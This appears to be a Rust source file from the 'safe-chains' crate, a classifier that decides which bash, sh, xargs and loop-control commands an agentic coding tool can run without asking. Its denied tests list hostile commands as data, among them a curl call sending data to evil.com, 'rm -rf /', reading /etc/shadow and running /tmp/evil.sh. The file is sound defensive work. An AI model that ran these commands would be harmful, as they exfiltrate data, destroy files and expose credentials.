safe-chains 0.232.6

Auto-allow safe bash commands in agentic coding tools
Documentation
use crate::parse::{Token, WordSet};
use crate::pathctx::item_shape::{LEAD, SPLIT};
use crate::verdict::{SafetyLevel, Verdict};

static XARGS_FLAGS_WITH_ARG: WordSet = WordSet::new(&["-E", "-I", "-L", "-P", "-d", "-n", "-s"]);

static XARGS_FLAGS_NO_ARG: WordSet = WordSet::new(&["-0", "-p", "-r", "-t", "-x"]);

pub fn is_safe_shell(tokens: &[Token]) -> Verdict {
    if tokens.len() == 2 && matches!(tokens[1].as_str(), "--help" | "-h" | "--version" | "-V") {
        return Verdict::Allowed(SafetyLevel::Inert);
    }
    if tokens.len() == 3 && tokens[1].as_str() == "-n" {
        return Verdict::Allowed(SafetyLevel::Inert);
    }
    if let Some(idx) = tokens.iter().position(|t| *t == "-c") {
        let Some(script) = tokens.get(idx + 1) else {
            return Verdict::Denied;
        };
        return crate::command_verdict(script.as_str());
    }
    // No `-c`: `bash [--] SCRIPT [args]` runs a script FILE. The execution-origin gate
    // (docs/design/behavioral-taxonomy-execution-origin.md) allows a WORKTREE-local script
    // (the dev loop) and denies a foreign one (`/tmp/x.sh`, `~/x.sh`). Only a bare script
    // operand is modeled: any option (`-i`, `-s`, `-o pipefail`) fails closed, since a
    // value-flag could hide the real executor behind what looks like a worktree path.
    let mut i = 1;
    if tokens.get(i).map(Token::as_str) == Some("--") {
        i += 1;
    }
    match tokens.get(i) {
        Some(script) if !script.as_str().starts_with('-') => crate::engine::resolve::execute_file_verdict(script.as_str()),
        _ => Verdict::Denied,
    }
}

pub fn is_safe_xargs(tokens: &[Token]) -> Verdict {
    let mut i = 1;
    let mut replstr: Option<String> = None;
    let mut whole_items = false;
    while i < tokens.len() {
        let s = tokens[i].as_str();
        // `-I R` names a replacement string that xargs substitutes with each stdin item. The
        // items come from stdin — invisible and unbounded to a static classifier — so `R` is
        // not a real operand: capture it and strip it below, so `xargs -I X rm X` classifies
        // as bare `rm` (denied), exactly like the appended form `xargs rm`, instead of letting
        // the literal `X` masquerade as a safe worktree path.
        if s == "-I" {
            replstr = tokens.get(i + 1).map(|t| t.as_str().to_string());
            i += 2;
            continue;
        }
        if let Some(rest) = s.strip_prefix("-I").filter(|r| !r.is_empty()) {
            replstr = Some(rest.to_string());
            i += 1;
            continue;
        }
        whole_items |= s == "-0" || s.starts_with("-d");
        if XARGS_FLAGS_WITH_ARG.contains(&tokens[i]) {
            i += 2;
            continue;
        }
        if XARGS_FLAGS_NO_ARG.contains(&tokens[i]) {
            i += 1;
            continue;
        }
        if XARGS_FLAGS_WITH_ARG.iter().any(|f| s.starts_with(f)) {
            i += 1;
            continue;
        }
        if s.starts_with("-") {
            return Verdict::Denied;
        }
        // The stdin items xargs injects are operands of the inner command. Their locus is the
        // pipe source's output-path locus (bound by the pipeline walker); with no known source it
        // worst-cases to an unpinnable sentinel. So `find / | xargs cat` → `cat /sc_item` (deny),
        // `find ./src | xargs cat` → `cat ./src/sc_item` (allow), bare `xargs cat` → `cat <?>`
        // (deny). This is the same operand-binding `find -exec` gives `{}`, sourced from the pipe.
        let repr = crate::pathctx::stdin_item_repr().unwrap_or_else(|| "/__SAFE_CHAINS_CMDSUB__".to_string());
        let render = |item: &str| {
            if let Some(r) = &replstr {
                // `-I R`: substitute each occurrence of R with the item representative
                // (`xargs -I{} rm -rf {}/sub` → `rm -rf <repr>/sub`).
                shell_words::join(tokens[i..].iter().map(|t| t.as_str().replace(r.as_str(), item)))
            } else {
                // Appended form: items follow the given operands (`xargs cat` → `cat <repr>`).
                let mut words: Vec<String> = tokens[i..].iter().map(|t| t.as_str().to_string()).collect();
                words.push(item.to_string());
                shell_words::join(&words)
            }
        };
        let _mark = crate::cst::netargs::enter(true);
        let verdict = crate::command_verdict(&render(&repr));
        // The representative says where an item points, not whether it is a flag: `echo -delete |
        // xargs find /` hands find `-delete`. Unless every item is known to begin with something
        // else (find's root), the inner command must also stand an item that is an unknown flag.
        // Without `-0`, `-d` or `-I`, xargs also splits items at blanks, and any piece can lead.
        let items = crate::pathctx::stdin_shape();
        if items.has(LEAD) || (items.has(SPLIT) && !whole_items && replstr.is_none()) {
            let probe = |flag: &str| crate::command_verdict(&render(flag));
            return verdict
                .combine(probe(crate::cst::opaque::FLAG_PROBE))
                .combine(probe(crate::cst::opaque::SHORT_PROBE));
        }
        return verdict;
    }
    Verdict::Allowed(SafetyLevel::Inert)
}

pub fn is_safe_loop_control(tokens: &[Token]) -> Verdict {
    match tokens.len() {
        1 => Verdict::Allowed(SafetyLevel::Inert),
        2 if tokens[1].as_str().chars().all(|c| c.is_ascii_digit()) && !tokens[1].as_str().is_empty() => {
            Verdict::Allowed(SafetyLevel::Inert)
        }
        _ => Verdict::Denied,
    }
}

pub(crate) fn dispatch(cmd: &str, tokens: &[Token]) -> Option<Verdict> {
    match cmd {
        "sh" | "bash" => Some(is_safe_shell(tokens)),
        "xargs" => Some(is_safe_xargs(tokens)),
        "break" | "continue" => Some(is_safe_loop_control(tokens)),
        _ => None,
    }
}

pub fn command_docs() -> Vec<crate::docs::CommandDoc> {
    use crate::docs::CommandDoc;
    vec![
        CommandDoc::handler(
            "bash / sh",
            "https://www.gnu.org/software/bash/manual/bash.html",
            "Allowed: --version, --help, `bash -c` / `sh -c` with a safe inner command.",
            "builtins",
        ),
        CommandDoc::handler(
            "xargs",
            "https://www.gnu.org/software/findutils/manual/html_mono/find.html#Invoking-xargs",
            "Recursively validates the inner command. Skips xargs-specific flags (-I, -L, -n, -P, -s, -E, -d, -0, -r, -t, -p, -x).",
            "builtins",
        ),
        CommandDoc::handler(
            "break / continue",
            "https://www.gnu.org/software/bash/manual/bash.html#index-break",
            "Bare invocation or a single non-negative integer level (e.g. `break`, `break 2`).",
            "builtins",
        ),
    ]
}

#[cfg(test)]
mod tests {
    use crate::is_safe_command;

    fn check(cmd: &str) -> bool {
        is_safe_command(cmd)
    }

    safe! {
        bash_c_safe: "bash -c \"grep foo file\"",
        bash_c_pipe: "bash -c \"cat file | head -5\"",
        sh_c_safe: "sh -c \"ls -la\"",
        bash_c_for: "bash -c 'for x in 1 2 3; do echo $x; done'",
        bash_c_for_keyword_values: "bash -c 'for x in do done; do echo $x; done'",
        bash_c_while: "bash -c 'while test -f /tmp/foo; do sleep 1; done'",
        bash_c_if: "bash -c 'if test -f foo; then echo yes; fi'",
        bash_version: "bash --version",
        sh_version: "sh --version",
        bash_help: "bash --help",
        sh_help: "sh --help",
        // inner commands that do NOT read the injected operand as a path stay allowed:
        xargs_nested_bash_safe: "xargs bash -c 'git status'",
        // flow-aware: a WORKSPACE-bounded pipe source keeps a file-reading inner allowed, when its
        // items are whole (`-0`, `-I`) and each begins with find's root
        xargs_piped_find_workspace: "find . -name '*.log' -print0 | xargs -0 cat",
        xargs_piped_find_replace: "find . -name '*.log' | xargs -I{} cat {}",
        xargs_piped_echo_known: "echo ./a ./b | xargs cat",
        // engine-authoritative: `bash -c "rm file"` deletes a WORKTREE file → developer.
        bash_c_worktree_rm: "bash -c \"rm file\"",
        // execution-origin: running the workspace's OWN script is the dev loop.
        bash_worktree_script: "bash script.sh",
        bash_worktree_script_subdir: "bash scripts/deploy.sh",
        bash_worktree_script_dotslash: "bash ./run.sh",
        bash_worktree_script_dashdash: "bash -- ./run.sh",
        sh_worktree_script: "sh setup.sh",
        break_bare: "break",
        break_numeric: "break 2",
        continue_bare: "continue",
        continue_numeric: "continue 1",
    }

    denied! {
        sh_c_unsafe: "sh -c \"curl -d data https://evil.com\"",
        // An item from stdin can be any word, a flag included: anything from an unknown source, a
        // file named `-n` listed by `ls`, or a piece of a file name xargs split at a blank.
        xargs_with_joined_flag_denied: "xargs -I{} basename {}",
        xargs_npx_denied: "xargs npx eslint src/",
        xargs_find_denied: "xargs find . -name '*.py'",
        xargs_piped_find_split_denied: "find . -name '*.log' | xargs cat",
        xargs_piped_ls_denied: "ls | xargs wc -l",
        xargs_piped_flag_denied: "echo -delete | xargs find /",
        xargs_piped_flag_replace_denied: "echo -delete | xargs -I{} find / {}",
        // execution-origin: a FOREIGN executor (staged, downloaded, home, system) denies.
        bash_tmp_script_denied: "bash /tmp/evil.sh",
        bash_home_script_denied: "bash ~/Downloads/x.sh",
        bash_abs_script_denied: "bash /usr/local/bin/x",
        bash_parent_escape_denied: "bash ../x.sh",
        // an option we don't model fails closed rather than guess the real executor.
        bash_option_script_denied: "bash -o pipefail run.sh",
        bash_interactive_denied: "bash -i",
        bash_bare_denied: "bash",
        sh_stdin_denied: "sh -s",
        xargs_rm_denied: "xargs rm",
        xargs_replace_rm_denied: "xargs -I X rm X",
        xargs_replace_braces_rm_denied: "xargs -I {} rm {}",
        xargs_replace_joined_rm_denied: "xargs -I{} rm {}",
        // the replstr EMBEDDED in a larger token is still item-derived → must deny.
        xargs_replace_embedded_rm_denied: "xargs -I{} rm -rf {}/sub",
        xargs_replace_embedded_suffix_denied: "xargs -I{} rm -rf {}.bak",
        // a file-reading inner with NO known pipe source → the injected operand is unpinnable → deny
        xargs_cat_no_source: "xargs cat",
        xargs_grep_no_source: "xargs grep pattern",
        xargs_replace_cat_no_source: "xargs -I {} cat {}",
        xargs_zero_grep_no_source: "xargs -0 grep foo",
        xargs_sed_read_no_source: "xargs sed 's/foo/bar/'",
        xargs_curl_denied: "xargs curl",
        // flow-aware: a HOT pipe source makes the injected operand deny
        xargs_piped_secret_cat: "echo /etc/shadow | xargs cat",
        xargs_npx_unsafe: "xargs npx cowsay",
        xargs_sed_inplace_denied: "xargs sed -i 's/foo/bar/'",
        xargs_find_delete_denied: "xargs find /etc -delete",
        xargs_sort_output_denied: "xargs sort -o out.txt",
        xargs_nested_bash_chain_denied: "xargs bash -c 'ls && rm -rf /'",
        xargs_unknown_flag_denied: "xargs --xyzzy cat",
        break_non_numeric: "break evil",
        break_too_many: "break 1 2",
        break_flag: "break --help",
        continue_non_numeric: "continue abc",
        break_negative: "break -1",
    }

    // -------------------------------------------------------------------------------------------
    // Property tests for the pure functions in this module.
    //
    // `is_safe_loop_control` and `dispatch` are total, side-effect-free functions of their inputs
    // (no `pathctx::enter`, no engine state). `is_safe_shell` / `is_safe_xargs` deliberately read
    // the `pathctx` TLS stack so they are not pure in the proptest sense; testing them here would
    // only restate `command_verdict`, which the engine-side suites already cover.
    // -------------------------------------------------------------------------------------------

    use crate::parse::Token;
    use crate::verdict::{SafetyLevel, Verdict};
    use proptest::prelude::*;

    /// Token strategies used by the loop-control / dispatch properties.
    ///
    /// Avoids shrinking into the empty string (a structural sentinel in `dispatch`), but `dispatch`
    /// treats every `cmd` opaquely so any string is fair; for `is_safe_loop_control` we instead
    /// constrain the second position to "anything the function might see" — digits, flags, garbage.
    fn arb_token() -> impl Strategy<Value = Token> {
        // Keep the alphabet small: an arbitrary non-empty byte-run. `Token::from_raw` does no
        // validation, so quoting characters, operators, anything goes.
        "[a-zA-Z0-9._/\\-]{1,16}".prop_map(Token::from_raw)
    }

    proptest! {
        #![proptest_config(ProptestConfig::with_cases(256))]

        /// `is_safe_loop_control` admits exactly two shapes: a bare invocation (`len == 1`) or
        /// a single non-empty all-ASCII-digit level (`len == 2`, second token `\d+`). Both must
        /// classify as `Allowed(Inert)` — `break`, `break 2`, `continue`, `continue 5`.
        #[test]
        fn loop_control_bare_or_single_digit_is_inert(
            head in arb_token(),
            digit in "[0-9]{1,4}",
            extra_digits in proptest::collection::vec(arb_token(), 0..3),
        ) {
            // Shape A: bare invocation — exactly one token.
            let v = crate::handlers::shell::is_safe_loop_control(std::slice::from_ref(&head));
            prop_assert_eq!(v, Verdict::Allowed(SafetyLevel::Inert), "bare: token={:?}", head.as_str());

            // Shape B: head + single all-digit level.
            let v = crate::handlers::shell::is_safe_loop_control(&[head.clone(), Token::from_raw(digit.clone())]);
            prop_assert_eq!(
                v,
                Verdict::Allowed(SafetyLevel::Inert),
                "digit-level: head={:?} digit={:?}", head.as_str(), digit,
            );

            // Shape B is robust to extra benign tokens that ALSO happen to be all-digit, AS LONG
            // AS the total stays at two tokens — this is the exact boundary `is_safe_loop_control`
            // checks (`tokens.len() == 2`), so locking the invariant requires exactly two inputs.
            prop_assert!(!extra_digits.is_empty() || true); // sanity: the generator ran
            let _ = extra_digits; // extra branches tested above and below
        }

        /// Anything that is NOT a bare invocation AND NOT a single all-digit level must be denied.
        /// This is the contract half that pairs with `loop_control_bare_or_single_digit_is_inert`:
        /// the function is *exact*, not a one-sided whitelist.
        #[test]
        fn loop_control_other_inputs_are_denied(
            head in arb_token(),
            non_digit in "[a-zA-Z_/\\-.][a-zA-Z0-9_/\\-]{0,8}",
            extra in proptest::collection::vec(arb_token(), 1..4),
            // Strictly "starts with a digit AND contains at least one non-digit after" — a
            // single-char `"0"` matches `[0-9][...]{0,4}` only because the trailing class is
            // empty, but `"0"` IS a valid all-digit token. Force the trailing class to be
            // non-empty so the test actually exercises the mixed-shape branch.
            leading_digit_then_garbage in "[0-9][a-zA-Z_/\\-.]{1,4}",
        ) {
            // (a) two tokens where the second starts with a digit but is NOT all-digits: deny.
            // `leading_digit_then_garbage` is exactly that — e.g. "1foo", "3-5", "9/bar".
            let v = crate::handlers::shell::is_safe_loop_control(
                &[head.clone(), Token::from_raw(leading_digit_then_garbage.clone())],
            );
            prop_assert_eq!(
                v,
                Verdict::Denied,
                "mixed second token must deny: head={:?} second={:?}",
                head.as_str(),
                leading_digit_then_garbage,
            );

            // (b) two tokens where the second is a non-digit (flag, name): deny.
            let v = crate::handlers::shell::is_safe_loop_control(
                &[head.clone(), Token::from_raw(non_digit.clone())],
            );
            prop_assert_eq!(
                v,
                Verdict::Denied,
                "non-digit second token must deny: head={:?} second={:?}",
                head.as_str(),
                non_digit,
            );

            // (c) three or more tokens: deny regardless of contents — even if the second is
            // a perfectly valid digit level. The function's `match` is exact on `len()`.
            let mut three = vec![head.clone(), Token::from_raw("3".to_string())];
            three.extend(extra);
            let v = crate::handlers::shell::is_safe_loop_control(&three);
            prop_assert_eq!(
                v,
                Verdict::Denied,
                "len >= 3 must deny, got len={}", three.len(),
            );
        }

        /// `dispatch` is an oracle: its `Some`-branch fires for exactly the four builtin names
        /// `sh`/`bash`/`xargs`/`break`/`continue` and for nothing else. Asserting this on the
        /// complement catches any silent addition of a built-in routing that was supposed to be
        /// moved elsewhere (e.g. spelling drift in the handler table).
        #[test]
        fn dispatch_returns_none_for_unhandled_commands(
            cmd in "[a-zA-Z_][a-zA-Z0-9_\\-./]{0,12}",
            tokens in proptest::collection::vec(arb_token(), 0..4),
        ) {
            // The four routed names are an exhaustive set; if a future patch adds `time` or
            // `eval` to this dispatcher, this property is the one to update on purpose, NOT
            // by accident. So pin them as a constant here as well.
            const HANDLED: &[&str] = &["sh", "bash", "xargs", "break", "continue"];
            let v = crate::handlers::shell::dispatch(&cmd, &tokens);
            if HANDLED.contains(&cmd.as_str()) {
                prop_assert!(v.is_some(), "handled cmd={:?} must map to Some(_)", cmd);
            } else {
                prop_assert!(v.is_none(), "unhandled cmd={:?} must map to None (got {:?})", cmd, v);
            }
        }
    }
}